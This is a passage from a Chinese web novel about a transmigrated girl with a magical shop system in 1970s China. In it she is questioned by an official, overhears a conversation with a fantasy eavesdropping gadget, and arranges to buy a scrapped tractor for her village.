眼前的光屏出现了抽取幸运值的界面。 程十一默念了一声抽取，很快，界面发生了变化。 程十一很紧张，她是真怕出现个1或者2之类的小数字，甚至都有点后悔抽取幸运值了。 万一真的低，自己得多心塞啊！ 然而让她没想到的是，眼前的光屏竟然突然乍现一片金光，接着就是整个屏幕的眼花展示。 程十一傻眼了。 这啥玩意儿？自打有了系统后，她还是第一次看到这样的景象呢！ 随着一众特效散去，屏幕上的数字终于展现出来，同时伴随而来的还有系统兴奋的尖叫声。 系统：哇哇哇！主人你今天是妥妥的欧皇哇！居然是10！居然是10！满点幸运值啊！ 程十一怔愣。 看着那金灿灿的10，她一时间都有些回不过神。 这超高的幸运值，这…… 妈呀，今天她会不会能把所有的事情全都解决好啊！ 不行不行，自己一定要努力在这一天尽可能多的完成目标。 将王家夫妻拍死，将拖拉机的事情搞定！ 麻蛋的，早知道今天的幸运值满点了，她就不睡觉了，大半夜的就开始忙活，岂不是就能直接有24个小时的增益状态了？ 真是越想越心塞，浪费了将近八个小时的增益时间啊！ 正心塞着，门口突然传来开锁的声音。 程十一瞬间正襟危坐。 看一眼王宝智。 好家伙，这小子竟然缩在沙发里睡着了！ 程十一的嘴撇了撇，真不知道这小子是真心大，还是心真大。 门被人打开，从外面走进来一个四十岁上下的男人，穿着一身军装，国字脸上满是严肃，尤其是那双眼睛，就只对上一眼，程十一的心里就是一惊。 这眼神可真够吓人的，估摸着吓唬小孩子都不用说话，只看一眼就能让小孩儿吓得哇哇哭。 程十一又看了一眼王宝智。 嗯，还好，这小子睡着了，要不然真被吓哭了，估计就得想着往自己身边凑了。 程十一站起来，主动问好：“领导好！” 没背宝书里面的语句。 这人是军人，程十一直觉这人应该更喜欢直接了当的对话方式。 当然，也可能她直觉错了。 不过管她呢，她今天可是拥有欧皇体质的女人，顺心而来应该问题不大。 男人点点头，示意程十一来到办公桌前坐下，而他则是绕到了办公桌里面。 两个人谁都没说话，门被人轻轻敲了两声，随即又有人进来。 进来的人是带着程十一姐弟俩过来的人之一，一只手拿着一个暖水壶，另外一只手里则是拿着三个搪瓷缸子。 进屋后先向中年男人点头示意，又看了一眼程十一的背影，最后视线落在了蜷缩成一团，睡得正香的小孩子身上。 先给领导和程十一分别倒了水，又在距离王宝智最近的桌角上放了一杯水，这才转身出去。 门被关上，没有上锁的声音了。 “你就是王二丫。” 男人终于开口了：“或者说，该叫你程十一同志。” “嗯，我就是程十一，也是以前的王二丫。” 程十一微笑点头：“我不是王家亲生的孩子看，所以在下乡之前就和他们脱离了关系。” 这不是秘密，程十一可不觉得人家会不知道这些，但自己还是要介绍一下的，光明正大的面对问题，总好过藏着掖着的惹人生疑要好得多。 男人点点头，又道：“你是怎么知道你不是王家亲生的孩子的？” 程十一也没隐瞒，但也不可能说出实情，只说自己无意中偷听到了姜美妮和王佳佳的对话，这才知道了自己的身世。 说完后，程十一突然落寞的低下头，幽幽叹道：“只可惜我不知道我到底是谁家的孩子，更不知道这辈子还有没有希望能够见到我真正的亲人了。” 见不到最好，压根不想见。 男人依旧神情不变，继续问：“为什么要去黑省下乡？” 程十一抬头对上对方的眼睛，将当初和知青办的人说的那套说辞又说了一遍。 男人依旧是那副板着脸的表情，只是话题又是一转：“你知道王家被偷的事吗？” 程十一点点头：“知道啊！搬得特别干净，昨天回家的时候我都被吓了一跳。” 虽然不是什么表演型人格，也没有接受过专业的表演训练。 但她的经历在那摆着。 末世中，表情变化得太丰富可不是什么好事。 看到尸体不能尖叫，万一引来其他的什么人或者动物可就危险了。 找到了物资更是要平静淡定，绝对不能被其他人注意到异常。 慢慢的，程十一也就习惯了这样的表演人生。 男人的一双眼睛一直盯着程十一的脸，似乎是想从她的表情里看到什么不对劲的地方。 可……这小丫头的反应太正常了，根本就看不出任何隐瞒或者是躲闪的意思。 难不成说的真的都是真的？ 但一切也太巧合了，巧合到让人想不联想到她身上都做不到。 程十一见对方没有问话了，就决定主动出击：“领导，我听邻居陈奶奶说我爸妈，不是，我养父母他们都被抓起来了，我能问问到底发生什么事了吗？家里面就只剩下了宝智这么一个孩子，我回去的时候就那么蜷缩睡在地上，我看得心里难受。” 第153章 开通卖家权限 “听说你下乡后的生活过得不错。” 男人的话题又是一转。 程十一的心里一紧。 陈奶奶不是说还没来得及安排人去光荣大队了解情况吗？怎么突然就这么问了？ 转念一想，程十一也就了然了。 就算不派人去，但是可以打电话嘛！大队不通电话，但公社有啊！ 如此一想，程十一也就冷静下来了，点点头，老老实实的回答：“还行，比在王家的时候舒服多了。” “都能自己起房子了，那可不是一般的舒服。” 男人的脸上终于出现了笑意，只是那笑怎么看怎么不对劲。 程十一就跟没看出来似的，还是很乖巧的样子，就是多了几分不好意思：“我从王家拿走了我的下乡补贴，又和认识的知青姐姐借了点钱，所以就起了房子。” “哦？认识的知青？你们关系很好？以前认识？” 一连串的问题问出来，程十一也不慌，将自己和陈丽娇的认识过程说了一遍，包括火车上的种种，到了知青点后发生的一切。 没添油，没加醋。 男人这下彻底不知道该怎么问了。 说这丫头心理素质强吧，可说的这些和他们所了解到的基本一致。 说她说的都是实情吧，又总感觉哪里不太对劲。 这真是一个常年被养父母一家压迫下成长出来的小可怜？ “你现在和你之前的样子很不一样。” 男人终于说出了这么一句。 程十一苦笑：“可不是不一样么，差点死了，再不觉醒，怕是现在您就是和一个坟包聊天了。” 男人：…… 这话没法聊下去了。 “对于王家的情况，组织上还会继续审查，如果需要到你配合，你……” “我一定配合。” 程十一立刻挺直脊背：“只要组织需要，我随时都会配合！” 男人点点头。 程十一又道：“不过领导，我的假期没几天了，我还能按时回大队吗？如果不能，那是不是能让组织上帮忙和我们大队联系一下？” “这个……” 男人皱眉，正犹豫要怎么回答时，房门突然被人敲响。 “进。” 随着男人的话音落下，房门被人从外面推开，走进来的人是刚刚送水的那位。 “部长，有人找您。” 男人站在门口：“是部队的。” “安排到隔壁，我马上过去。” 一听说是部队的人找自己，男人直接起身，又对程十一说道：“你先在这里等着。” “好。” 程十一也跟着站起来，目送男人离开。 办公室的门被再次关上，但却没有上锁的声音。 程十一坐回单人沙发上，闭上眼睛休息，实际上是在和系统聊天。 程十一：统统，能知道隔壁在说什么吗？ 系统：主人，等你开通了卖家权限，统统就能升级了，到时候就可以探听了哦！ 程十一：…… 又是卖家权限。 早开晚开的都得开，不如现在就开？ 这么一想，程十一就开始充值。 从王家搜到的现金中，大黑十充进去。 毛票这东西她有，这个不打眼，但大黑十在这个时代还是挺吸人眼球的。 尤其是在知道了组织上可能会安排人去光荣大队了解具体情况后，程十一就决定短时间内都不再动用系统仓库里的大黑十了。 但也不能一直放在仓库里接灰，还是用来充值吧！ 随着余额的数字逐渐增加，系统的哇哇大叫声不绝于耳。 程十一也不阻止。 系统：主人主人，你赶紧消费吧！ 程十一想了想，先看了看拖拉机，二手的。 这个时代其实并没有二手拖拉机这一说，基本上都是报废了才会被转卖。 或者是哪个大队或者单位要更换新设备，这样才可能有相对完好的拖拉机被出售。 但系统里面的二手拖拉机那就是真的二手拖拉机，基本上不会有任何问题的那种，就只有使用过的痕迹。 这就有点麻烦了。 “算了，先买一辆回来。” 随着程十一的意念一动，系统仓库里陡然多了一辆半新不旧的拖拉机。 接着，眼前的光屏突然烟花乍现。 金光、红光满屏飞。 几秒钟后，光屏上出现了一行大字。 【恭喜主人达到开通卖家功能标准！请问是否现在就开通该功能？】 接着，大字下面浮现出了两个字。 红色的“是”和绿色的“否”。 钱充了，充完又花了，为的是什么？ 必须“是”啊！ 随着那个红色的“是”被点下，光屏再次发生变化。 商城的界面整体来说没有什么太大的变化，就是在最上面的一行多出了一排。 “买”和“卖”。 点开“卖”，是几排全空的窗口。 系统：主人，这里就是你的商铺展示了，请问现在就要上架商品吗？ 程十一看了看自己的仓库储备。 怎么说呢，东西挺多的。 不过能称之为货物的东西又太少，毕竟自己一个新开的店，总不能一上来就卖旧衣服旧袜子吧！ 程十一：统统，你觉得我现在能卖点啥？ 系统沉默了两秒钟，这才回道：王家搜回来的那些东西，主人你好像也不可能全都用了吧！要不然上架试试？万一有人买呢？ 得，还真要开局就卖破烂了。 算了，卖就卖，统统说得对，她一个人真用不了王家的那些东西，主要是嫌弃。 更何况那些东西在短时间内都不可能展现在世人面前，万一被人发现是王家的东西，那时候自己可就浑身是嘴都解释不清了。 商品名称：成年男人穿过的破旧袜子十双。 商品价格：0.05元/双 看着第一个商品栏展示出来的商品，程十一的眼皮狂跳。 程十一：统统，你搞什么？谁家好人会买男人穿过的破烂袜子？ 系统：主人，咱们都已经决定要卖王家的那些破烂了，那肯定是哪个最破卖哪个啊！ 程十一哑然。 还别说，这个理由还挺有道理的。 但，这玩意儿真的会有人卖吗？ 虽说王海柱的袜子很多都是有窟窿眼的，但却浆洗得非常干净，那可都是王二丫仔细搓洗过的，还真没有奇奇怪怪的气味。 接着，第二个商品栏出现了商品。 商品名称：成年女人穿过的破旧袜子。 商品价格：0.08元/双 程十一闭了闭眼，实在不忍心看下去了。 她就知道她的统统是个喜欢有味道的统统。 第154章 仿佛听见了顾同志的声音 就只是闭了闭眼的功夫，等再睁开眼，商品展示栏里又多了好几件商品。 被人穿过的旧衣服，掉瓷的碗盘，掉漆的搪瓷缸子，甚至是……使用过十几年的竹筷子。 程十一不想吐槽了，也不想看了。 蓝瘦，香菇。 索性关上光屏，程十一再次问起了能不能听隔壁声音的事。 系统正在欢乐的给商城上货：主人，你可以去商城里买窃听器啊！ 程十一：？？？ 啥玩意儿？窃听器？ 不是，那玩意儿不是得安装到所在房间才能听到吗？ 系统听见了程十一的不解，很耐心的解释了下。 一般的窃听器确实需要放在所在房间才能听见里面的声音，但商城里有一款窃听器是可以贴在墙面上，这样就可以通过耳机听见墙壁另外一面的声音。 不仅可以听清楚，还有录音功能，最重要的一点是没有墙体厚度限制。 也就是说，厚度十几二十厘米的能听见，十几二十米的也没问题。 唯一的缺点就是只能隔着一堵墙，如果是两堵墙，那就不行了。 程十一听得眼睛亮晶晶，赶紧让系统调出这款窃听器的商品界面。 一看价格，程十一的眼皮就是一跳。 东西好是好，这个价格也是真的……啧，让人牙疼。 程十一：统统，你是不是在和我开玩笑？这玩意儿一套就要999？你明明可以抢我的钱，居然还非要给我一副窃听器？ 系统很无辜：主人，这玩意儿放在当下这个时代那就是妥妥的黑科技，价格肯定不能按照当下的物价来计算。不过这玩意儿不需要充电，而且还终身保修，你买一次，就可以用一辈子。 这个理由，有点强大。 程十一可耻的心动了。 999就999，她现在可是程·小富婆·十一，买了！ 买下窃听器，程十一心念一动，商品出现在了自己的掌心。 这一看，程十一又是满头黑线。 好家伙，这玩意儿可真不是一般的小巧啊！ 贴在墙上，就那么一丢丢的小黑点，不说和芝麻差不多大小也差不多了。 耳机也是入耳式的隐形接收器，塞到耳朵里容易，但要拿出来，就只能借助系统仓库收取才行，凭着手指头想要抠出来那是真不容易。 这样也好，体积小，不容易被人发现。 程十一果断将窃听器放在掌心，然后拍在了对面的墙面上，再将耳机塞到耳朵里。 瞬间，耳朵里就听见了对话声。 是刚刚那个审问过自己的那个人的笑声，听着那声音就很爽朗。 接着又听见了另外的声音。 “这声音，有点耳熟啊！” 程十一坐在沙发上，一只胳膊压着扶手，掌心则是托着下巴，眉头皱了起来。 另外一个人的声音听起来很像是……顾青同志。 怎么肥四？难道是自己这几天一直和顾青同志在一起待着，以至于出现了幻觉，现在听到个陌生人的声音都会下意识的以为是他？ 程十一打了个寒颤，被自己的这种猜测吓得。 “……来看看您，再送我们大队的那个知青同志上火车，我这次的任务就彻底完成了。” 顾青的声音里也带着笑意：“假期也快结束了。” “哈哈哈，好好好！不过你说的那个知青是怎么回事？是回来省亲的？” 男人问。 顾青摇头：“不全是，她代表我们大队来谈购买拖拉机的事。” “购买拖拉机？” 男人惊讶。 顾青嗯了声：“离开大队之前秋收就开始了，结果遇上了大雨，不少粮食都泡在了地里还没来得及收起来。” “听大队长说，小程知青提出了想要尝试购买拖拉机，如果能够购买成功，秋收的速度就会快很多，也就不会有那么多粮食被浸泡了。” 听着这一番话，程十一确定了，不是自己的错觉，那人就是顾青。 只是程十一是怎么都没想到顾青竟然和那个男人认识，而且听他们俩聊天的语气好像还很熟悉。 男人附和了几句，突然声音戛然而止，声音猛地提高：“你刚刚说的谁？小程知青？” “嗯，那个知青姓程，因为年纪小，长得也小，所以大队上的人都喊她小程知青。” 顾青如实回答。 男人彻底不淡定了：“你说的这个小程知青，她的名字不会是叫程十一吧？” “您认识？” 这下轮到顾青惊讶了。 男人好久都没说话，好半天才道：“你先休息，中午咱们一起吃饭，我现在还有点工作，我先过去忙一下。” 突然的话题终结让顾青的心里也升起了一些担忧来。 那个小丫头怎么还在这位面前露脸了？瞧着对方的脸色，好像不是什么好事。 可他并没有多问，起身就提出了告辞。 与此同时，程十一也知道那个男人又要过来和自己谈话了，赶忙心念一动。 连起身都不用起，墙面上的芝麻粒和耳朵里的耳机瞬间凭空消失，出现在了系统仓库里。 靠坐在沙发里，程十一闭眼，装出一副睡着的模样。 果然，走廊里再次有了走路的声音，很快房门被人推开。 程十一睁开眼，一副迷迷糊糊的样子，还揉了揉眼睛。 瞧着这丫头的反应，男人有点无奈。 心是真大啊，这都敢睡着，她是不是真不知道这里到底是什么地方？ 不过因为顾青的话，男人的表情柔和了不少，至少看起来没那么吓人了。 嗯，一眼吓不哭小孩子，但看两眼绝对能让小孩子哇哇大哭的那种。 程十一赶紧站起来，还不忘拽了拽自己的衣服。 “坐吧！” 这次男人并没有回到自己的办公桌里面坐下，而是坐在了靠着门口的单人沙发上，依旧是和程十一面对面。 “你这次回来的目的是什么？” 男人再次询问了这个问题。 如果不是听到了隔壁的对话，程十一真会以为这人是要用车轱辘战来对付自己，不过现在嘛…… 程十一的手指搅动着衣角，一副紧张又有点不好意思的样子，小声说道：“其，其实我这次回来是有任务在身上的，是，是给我们大队联系一下，看看能不能买一辆拖拉机回去。” 顿了顿，程十一又补充道：“但，但是我们大队长人很好，他怕我万一做不到这件事，回头被社员们知道了会影响到我的名声，所以对外就说是我回老家省亲的。” 第155章 幸运的事一个接着一个 男人没想到程十一竟然会主动提起这件事。 如果不是这丫头表现得不好意思，他差点就要以为这丫头是不是听见了自己和顾青那小子的对话了。 “这样，那行，你先去忙你的事吧！不过在没有组织上的同意之前，你不能离开这个城市。” 男人看了一眼还在睡着的王宝智：“你弟弟就留下来吧！这里会有人照顾他。” 这话说得，程十一一下子就听出来这是要用王宝智做人质来牵扯自己了。 心里暗自撇嘴。 要不是她擅自离开会引来更多的麻烦，还真以为那么一个小屁孩儿能牵制住自己呢？ 就是没想到王宝智居然还这样的作用。 程十一表面上感恩戴德的表示了感谢后，这才走出了这个大院。 只是出来是出来了，自己现在要去哪里呢？ 抓了抓下巴，程十一有点茫然。 原主对这个城市的记忆真的是太少了，所了解的地方很有限。 想到阮玲玲昨天和自己说的话，她爸爸好像是在机械厂上面。 再联想到在阮爸爸书房里看到的书籍，程十一只是稍微犹豫了下，便直接一路询问着前往机械厂。 路上就耗费了差不多一个小时的时间，程十一这才站在了机械厂的大门外。 不得不说，机械厂作为市里的大厂之一，这大门，这围墙，看起来就挺气派的。 正要去找门卫登记，突然听见有人叫自己的名字。 一转头，程十一一怔：“顾同志？你怎么会在这里？” 程十一是真没想到竟然还能碰见顾青，尤其还是在这里。 “你……有战友在这里上班？” 程十一所能想到的理由也就只有这么一个了。 顾青点点头：“你来这里谈拖拉机的事？” 眨眨眼，程十一点点头又摇摇头：“不算吧，我同学的爸爸在这里上班，我想问问他能不能帮忙联系一下拖拉机的事。” 都遇上了，程十一现在说是路过也不太现实，主要是好不容易找过来的，总不能因为一个顾青就放弃吧！ 顾青抬手：“走吧，一起。” 两个人一起来的，门卫大爷一看顾青那一身军装，瞬间就热情许多，打了电话后，没两分钟，大爷就出来给俩人开了大门旁边的小门：“看见那个二层楼了没？你们去那里，一楼就有人接待你了。” “谢谢大爷！” 顾青当即敬礼。 程十一看了看顾青，又看了看大爷，默默的放弃了给大爷一根烟作为答谢的想法，规规矩矩的鞠了一躬。 大爷摆摆手，就这么笑呵呵的看着俩人朝着二层楼的方向走去。 “你战友叫什么？” 程十一和顾青并肩而行，不过俩人之间还有差不多一米的距离。 顾青也没隐瞒：“阮兴国。” “阮？” 程十一眼皮一跳。 不会是阮玲玲的爸爸吧！ 世界，应该不会这么小吧？ 说起来她还真不知道阮玲玲的爸爸叫什么名字。 但阮这个姓氏似乎也不是很普遍的姓氏，所以，世界真就这么小？ 顾青侧头看了一眼程十一：“嗯，姓阮，你要找的人叫什么？” “也姓阮。” 程十一扯着嘴角笑了笑：“没准儿是同一个人。” 顾青意外了下，是真没想到会这么巧。 不等俩人再说什么，就听见前面有人招呼道：“顾青！” “老班长！” 顾青寻声看去，当即跑了起来。 程十一也看了过去，眼皮一跳。 得，还真是同一个人！ 那个穿着一身蓝色工作服的男人可不就是阮玲玲的爸爸么！ 阮兴国一把将刚刚敬了军礼的顾青抱了个满怀，还用力的拍了拍他的后背，又扶着人的肩膀将人从头到脚打量了一遍，脸上满是笑意：“不错，你小子看着可比刚入伍那会儿结实多了！走走，去我办公室说！” “是！” 顾青回应得很大声，那张程十一基本上没看到有多少表情的脸上此时也是满是笑意。 眼看着来人就要离开，程十一伸出尔康手。 不是，这俩人是不是忘了这里还有她这么一个大活人呢？ 就在程十一正要抬脚跟上时，就见顾青的脚步停住了，好像说了句什么，接着人就转身朝着程十一看了过来。 和他一起的，还有阮兴国看过来的视线。 在看到程十一的那一瞬间，阮兴国的眉头轻皱了下，很快又恢复如常。 程十一赶紧快步上前，主动问好：“阮叔叔好。” 阮兴国给程十一点了点头，但却顾青说道：“我先送去我办公室，我先处理点事情。” 顾青一下子就明白了对方的意思，这是要支开自己。 如果是别人的事，顾青也就顺势听着了，可这次不一样。 “老班长，这是我老家大队的下乡知青，这次我会来这里就是因为受了我们大队长的嘱托，送小乔知青过来的。” 随着顾青的话，程十一疯狂点头表示就是这样。 阮兴国看了看顾青，见对方不像是在说谎，便又将视线落在了程十一的脸上，心情那叫一个复杂啊！ 这事情也太巧了。 昨天的他只是打算帮忙问一问，但是今天早上的那张字条让他觉得还是不要掺和进来。 但是现在，看着顾青，阮兴国的心软了。 “行吧，你们俩跟我去我的办公室谈吧！” 说完，阮兴国率先走在前面。 顾青微微甩头，示意程十一跟上，自己则是大步跟上了老班长的脚步。 上楼梯的时候，顾青低声问：“早上吃饭了吗？” “吃了。” 程十一点点头，心里却是在和系统吱哇乱叫的庆祝今天的欧皇体质。 10点幸运值真不是盖的，幸运的事一个接着一个。 她有预感，拖拉机的事今天能谈成！ 等到了阮兴国的办公室门口，程十一才知道自己小姐妹她爹竟然是机械厂的副厂长。 好家伙，难怪人家家里的装修摆设那么好了，原来有个当副厂长的爹！ 不过阮兴国的年纪看起来并不算大，应该是和王海柱差不多，可王海柱还是车间工人，别说是主任了，连个组长都没混上。 嗯，也许换上了吧！ 反正不重要，反正不如人家当副厂长的官大。 第156章 她可以当辅助啊！ 半个小时后，程十一先离开了机械厂。 走出机械厂大门的那一刻，程十一停住脚步，抬头看向蔚蓝的天空，心情那叫一个复杂。 10点幸运值果然不假，一切都非常顺利，顺利到程十一都有些不敢相信。 阮兴国真的帮忙要来了一台拖拉机，当然，这个要也不是白要，也要给些成本费的。 唯一的问题就是拖拉机是报废的，可以说，除了铃铛不响哪都响。 要想正常使用，大修一番是肯定的。 作为机械厂的副厂长，阮兴国倒是可以帮忙弄一些零件过来，同样的需要花钱。 至于要怎么维修组装，阮兴国就没有办法了。 拖拉机厂那边的工人都是有工作要忙，根本没人能过来搭把手。 程十一要么就是带着这一辆报废拖拉机回光荣大队，在当地找人维修，要么就是留在这里，等到拖拉机厂那边的维修工人有时间了过来修理。 如果选择带回去，阮兴国可以帮忙联系铁路运输，当然，汽运也行，但那个运费就不是一般的贵了。 程十一没有直接拍板，而是提出了回去给大队打电话，问问大队那边的意思。 至于报废的拖拉机现在就在拖拉机厂，需要拉走的时候直接去提货就行，但也不能放太长时间，最多三天，三天后如果还不提走，就必须缴纳存放的费用。 程十一沿着路边，漫无目的的闲逛。 维修拖拉机？ 她在纠结是将报废拖拉机带回去找人修，还是说，半路上将报废拖拉机换成自己买的二手拖拉机。 后者的风险太大了，稍有不慎就会把自己折进去。 也不知道走了多久，程十一被一阵饭菜的香味儿吸引了注意力。 也不知道是到了哪一家国营饭店，已经有人在往里面进。 程十一直接进了国营饭店，点了一盘红烧鱼，一盘酸辣白菜，外加一大碗米饭，准备先干饭，吃饱了再去想别的。 听到服务员喊自己的号码牌，程十一赶忙去将自己的饭菜端过来，刚拿起筷子，就看到从门口走进来两个人。 好家伙，熟人！ 阮兴国和顾青！ 俩人进来后并没有在第一时间注意到自己，还是顾青察觉到了有人在看自己，顺势看过去，对上了程十一的视线。 “顾青，你去找桌子，我去点菜。” 阮兴国可不打算让顾青花钱，直接就将人支走了。 顾青也没抢，转身就朝着程十一的方向走去。 “顾同志，好巧。” 程十一笑着打招呼。 顾青点点头：“可以坐在这里吗？” “坐呗！” 程十一没意见，不过自己这红烧鱼怕是不能自己独享了。 这俩人可都帮了自己不少，尤其是阮兴国，哪怕是有顾青的面子在，可也不能否认人家是出了大力的。 否则就算是报废的拖拉机，那也是纯纯的铁疙瘩，没有阮兴国的面子在，就靠着她这么一个下乡小知青肯定没那么顺利谈下起来。 算了，请客就请客吧！ 顾青见程十一拿着筷子却不吃，反而还在朝着阮兴国的方向看，就知道这丫头是打算和他们俩一起吃了。 “那个拖拉机，你打算怎么办？” 顾青主动询问。 程十一收回视线，摇摇头：“还在想。” “咱们大队还没有人会修拖拉机，不过倒是有会开的，大队长家的小儿子，你也许可以问问他现在有没有学习到维修这一块。” 顾青提议。 程十一猛地看向他：“这你都知道？” “嗯，之前听大队长提了一嘴。” 顾青点点头。 有人会开，这就好办了。 现在的人学习开拖拉机或者开大车，那都是要学习一些维修理论知识的。 要说将报废拖拉机修好，可能性不大，但她可以当辅助啊！ 她是不会修，但她不是有系统嘛！ 再说了，她空间里还有一台拖拉机呢！大不了就自己先拆，然后再组装，回头再做指导呗！ 这么一想，程十一突然就不纠结了：“行，我下午和大队长说一下！” 见小丫头原本轻皱的眉头舒展开了，顾青的嘴角微微翘了翘。 阮兴国也没想到居然在这里还能碰见程十一，不过既然都碰上了，自己总不能不搭理对方。 三个人就这么凑在一起吃了顿饭，程十一先吃完，借口要去打电话就先离开了国营饭店。 上午就已经给公社打过电话了，对方说会联系顾草根。 程十一估算了下时间，顾草根应该已经到公社了，就去邮局又给公社打了电话。 很好，顾草根刚刚到公社。 双方一通电话，顾草根震惊了。 他是真没想到小程知青竟然真的弄到了拖拉机。 “真的弄到了？太好了！现在都需要啥手续？需要叔干啥，你只管说，只要叔能办到的叔肯定没二话！” 顾草根的声音里都带着颤抖，激动得。 程十一扯了扯嘴角，没敢说拖拉机是报废的：“我这边会联系铁路运输，等到地方了需要咱们自己弄回村里去。大队长，你看看能不能联系个卡车之类的，到时候弄回去也方便。” 顿了顿，程十一又道：“对了，只有一个拖拉机车头，至于车斗什么的，那就只能咱们自己想办法了。叔，你看看能不能联系制作个车斗和后续要使用的扒犁之类的吧！” “行行，这个交给叔！” 顾草根赶紧答应下来。 要说弄个拖拉机，他是真办不到，但如果有了拖拉机车头，那么他就算是豁出去不要这张老脸了，也得让公社帮忙弄到车斗那些。 小程知青一个小丫头都把车头弄到手了，他一个大队长要是连车斗这种事还搞不定，那真是没脸再当这个大队长了。 说好了确定发车时间后就发电报回去后，两个人就挂断了电话。 拖拉机的事定下来了，程十一身上的担子也瞬间消失，整个人都轻松不少。 不过她心里也有了决定，那就是以后绝对不能嘴快了。 这次的拖拉机事件就是因为自己当初嘴欠的提起了拖拉机，要不然也不会折腾这么一大圈。 当然，折腾也是有好处的，别的不说，至少拖延了组织的人安排人去光荣大队了解情况了不是。 第157章 要不要去老王家搜刮一下？ 打完电话，程十一就赶紧回了国营饭店，恰好阮兴国和顾青从里面出来。 俩人正一边说一边往外走，顾青一眼就看到了一路小跑过来的程十一，当即迎了上去。 “出什么事了？” 见程十一跑得刘海都立起来了，顾青有些担心。 程十一摆摆手，缓了两口气，这才对刚刚走过来的阮兴国说道：“阮叔叔，劳烦您帮忙联系一下铁路运输吧！” “直接运过去？” 阮兴国还以为程十一会选择放在这里等着维修呢！ 程十一点点头：“我刚和大队长通话了，他决定将东西带回去，到时候联系当地的师傅帮忙维修。” “行，那我下午就联系，尽快给你安排发车。” 阮兴国也不啰嗦。 左右都是要走这一遭的，能早点将那堆废铁送出去也好。 顾青问：“那你打算什么时候回去？” “这个还不确定，我这边还有点事情没处理完。不说了，我先去忙了，争取早点忙完早点回去。” 程十一一边说，一边从挎包里拿出纸笔，唰唰唰写下了光荣大队的地址和两个名字。 一个是她，一个是顾草根。 将纸交给阮兴国后又道了谢：“阮叔，我回头去你家，到时候需要多少钱，我再给你。” 拖拉机的钱给了，但是物流运输的钱还不知道多少，所以只能这样。 阮兴国摆摆手：“不着急，你快去忙吧！” 程十一也不多说了。 趁着欧皇体质附身，她得赶紧去找王宝智作伴，希望今天能将所有的事情都处理好。 等到程十一回来时，一进屋就看到王宝智像是个小可怜儿似的抱着个饭盒，窝在沙发里，一边吃一边哭。 看到程十一出现，王宝智哇的一下哭出声，饭盒往旁边的沙发上一放，呲溜一下下了沙发就朝着程十一跑了过来。 在即将扑进程十一怀里时，王宝智的脑袋被一只手抵住。 程十一一脸嫌弃：“别把鼻涕蹭我身上！” “哦。” 王宝智赶紧扯着袖子擦了一下鼻子。 很好，看起来更邋遢了。 “吃饭去吧！” 程十一轻轻推了下王宝智。 这孩子以前看着白白净净的很可爱，没了专人照顾后，现在看着真是怎么看怎么像是个小乞丐。 王宝智刚吃完饭，房门就被人推开了，这次进来的还是上午的那个男人。 一见这人，王宝智的眼泪珠子就又往下落，小小的身体还在不住的瑟缩。 男人皱了皱眉。 虽说小孩子看见他的样子后很多都会被吓到，但是，像是这个年纪的小男孩儿还能哭成这样的，他真是第一次见。 真是……给男娃丢脸！ “领导好。” 程十一站起来主动问好。 男人点点头，自己坐在了上午的单人沙发上，压了压手，示意程十一坐下。 “拖拉机的事解决好了？” “嗯，解决好了。” 程十一老老实实点头。 这一上午在外面跑，程十一早就察觉到有人跟着自己了，只不过看在对方没有要伤害自己的意思，她也就当不知道。 也多亏了她随身都带着她那鼓鼓囊囊的挎包，要不然还真不好凭空拿出几千块钱出来。 当然，随着拖拉机交钱后，她的挎包现在已经是瘪瘪的了。 “不错。” 男人赞赏的点点头，又问：“你这个弟弟要怎么安置？” “送他奶奶家。” 程十一想都没想的就回答了这个问题：“我一个人下乡的日子都是靠着同行的知青帮扶，如果再带上一个小的，估摸着我俩都得饿肚子。” 这丫头，还真是够实在的，说话也不绕弯子。 不过这一点他也了解到了，和在陈婶子家里听到的消息是一样的。 “这样也好。等下我会安排车将人送过去，你要跟着一起吗？” 这个提议倒是让程十一很意外。 想了想，程十一选择拒绝。 既然有人代劳，那她就不跑这一趟了。 今天是欧皇体质，她不想浪费在去老王家这件事情上。 谁知她刚摇头，就听男人又道：“乡下王家还要再搜查一遍，据我所知，你对那里也算熟悉。” 程十一：…… 这话就是让自己跟着呗！ 都已经有这样的打算了还问自己，真虚伪！ 程十一在心里翻了个白眼，表面上则是乖巧点头：“我对那里不是十分熟悉，但我还是跟着去一趟吧！要不然我也不放心。” 顿了下，程十一又问：“领导，我能问问我什么时候能回我们大队吗？事情已经处理好了，我也给我们大队长打了电话，如果拖延时间太长还不回去，我怕……” “这个你放心，我这边会安排人和你所在的大队联系。” 男人摆摆手：“行了，如果没有别的事，那就走吧！车已经准备好了。” 程十一不吭声了，看了一眼王宝智，见对方哆嗦得就跟开了振动模式似的，只能伸出手：“走，去奶奶家。” “哦。” 王宝智乖巧的伸出手。 握住二姐的手，他终于感觉到了安全。 和早上来的时候不一样，这会儿去乡下王家的车是辆卡车。 程十一和王宝智被安排坐在了车厢里，和那个男人挤在一起。 也就是他们两个都瘦，要不然真挤不下这么多人。 车斗里也有人，足足十几个全副武装的兵哥。 程十一在发现这一点时嘴角抽了抽。 这哪里是要去送王宝智去老王家啊，这是摆明了要再搜查一遍老王家吧！ 不过，老王家里能不能搜到什么东西呢？ 程十一的身体随着车辆的颠簸来回晃悠，脑子里却在想着要不要在老王家折腾一下。 比如，搜点什么东西。 零元购什么的，她是真的爱啊！ 不过这么人同行，她不太好操作。 这么一想，程十一当即就想起了自己的宝贝系统。 程十一：统统，有没有什么办法能够探测到隐藏起来的东西？但是又不会被人发现我找东西。 系统很快就给出了回答：亲爱的主人，咱们商城里有探测仪啊！只要买下来绑定成功，统统可以帮你探查，结果可以通过光屏展示，也可以通过统统我帮你描述出来呢！ 第158章 她就是那个背锅的人 居然还有这样的好东西？ 程十一的眼睛都亮了亮，赶紧让系统将商品展示出来。 可当看到商品价格时，程十一的呼吸都停滞了。 程十一：统统，你这次是真的过分了。一个探测仪就要1999？你咋不去抢钱？ 1999啊！ 谁家好人能标出这么高的价格？ 系统：主人，这个价格真心不贵呢！要知道这个东西放在当下可是绝对的高科技产品，甚至可以说是黑科技了，所以，标注这个价格绝对是最良心的价格。 程十一不搭话。 再黑科技，这个价格也高，太高，出奇的高！ 系统又道：主人，这个东西和之前的窃听器一样，都是一次购买，终身使用的哦！绝对没有二次收费呢！ 一次购买，终身使用。 程十一虽然不想承认，但她是真的心动了。 再看看自己的余额。 很好，不到三位数了，还是个2开头。 程十一：统统，价格太贵了，能不能搞个便宜点儿的？ 虽然系统仓库里还有大黑十，但这么花钱，她是真心疼。 要是能在老王家找到点什么好东西还行，万一找不到，连个成本都收不回来，那她是真的亏，血亏。 毕竟，她也不可能有事没事的就到处搜哪里能零元购吧！ 